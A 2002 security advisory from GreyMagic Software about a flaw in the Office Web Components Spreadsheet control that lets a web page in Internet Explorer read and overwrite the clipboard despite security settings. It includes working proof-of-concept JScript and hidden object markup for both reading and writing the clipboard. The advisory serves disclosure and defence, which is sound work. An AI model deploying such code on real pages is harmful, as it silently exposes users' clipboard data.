GreyMagic Security Advisory GM#007-IE ===================================== By GreyMagic Software, Israel. 08 Apr 2002. Available in HTML format at http://security.greymagic.com/adv/gm007-ie/. Topic: Controlling the clipboard with OWC in IE. Discovery date: 24 Feb 2002. Affected applications: ====================== * Office 2000 - Office Web Components 9, Spreadsheet component. * Office XP - Office Web Components 10, Spreadsheet component. Introduction: ============= Office Web Components (OWC) is a group of safe for scripting components used to enrich HTML documents with Spreadsheets, Charts, Pivot tables and more. OWC ships with the Microsoft Office package, but it is also downloadable as a separate (free for viewing only) component. Discussion: =========== It is well documented that IE lets anybody read and write clipboard data by default, until now it was possible to disable this feature by setting "Allow paste operations via script" to "Disable". It is now possible to gain control over the clipboard even when it is disabled in the security zone, via the Spreadsheet component in both OWC9 and OWC10. The "Paste" method of the Range object and the "Copy" method of the Cell object both give an attacker full control over clipboard operations. The attacker can continuously monitor the victim's clipboard and log the findings to a server for later inspection. It is also possible for an attacker to place data inside the clipboard. Exploit: ======== Reading the contents of the clipboard: <object classid="clsid:0002E510-0000-0000-C000-000000000046" id="oSP" style="display:none"></object> <script language="jscript"> onload=function () { // Paste to spreadsheet oSP.ActiveSheet.UsedRange.Paste(); // Read the spreadsheet var oRng=oSP.ActiveSheet.UsedRange, iRows=oRng.Rows.Count, iCols=oRng.Columns.Count, sRes=""; for (var iCRow=1;iCRow<=iRows;iCRow++) { for (var iCCol=1;iCCol<=iCols;iCCol++) { sRes+=(oSP.Cells(iCRow,iCCol).Value || "")+"\t"; } sRes+="\n"; } // Display result alert(sRes); } </script> Assigning the clipboard's content: <object classid="clsid:0002E510-0000-0000-C000-000000000046" id="oSP" style="display:none"></object> <script language="jscript"> onload=function () { oSP.Cells(1,1).Value="Trustworthy computing"; oSP.Cells(1,1).Copy(); } </script> The class id of the <object> element above is for the spreadsheet component of OWC9 (Microsoft Office 2000), OWC10's class id is "0002E551-0000-0000-C000-000000000046", no further changes in code are needed. An attacker can actually use the fallback feature of the <object> element to include either one of these components: <!-- Try to include OWC10 --> <object classid="clsid:0002E551-0000-0000-C000-000000000046" id="oSP10" style="display:none"> <!-- Failed, try to include OWC9 --> <object classid="clsid:0002E510-0000-0000-C000-000000000046" id="oSP9" style="display:none"> <!-- None found --> Failed to load any of the spreadsheet components. </object> </object> Solution: ========= Set "Run ActiveX controls and plug-ins" to "Disable" or simply remove/disable OWC until a patch becomes available. Microsoft has been informed, they have opened an investigation regarding this issue. Tested on: ========== IE5sp2 NT4 sp6a + Office 2000 (OWC9), all patches. IE5.5sp2 NT4 sp6a + Office 2000 (OWC9), all patches. IE5.5sp2 NT4 sp6a + OWC10, all patches. IE6 Win2000 + Office 2000 (OWC9), all patches. IE6 WinXP + Office XP (OWC10), all patches. Demonstration: ============== Fully dynamic proof-of-concept (clipboard monitor and clipboard writer) demonstrations of this issue are available at http://security.greymagic.com/adv/gm007-ie/. Feedback: ========= Please mail any questions or comments to securityat_private - Copyright © 2002 GreyMagic Software.
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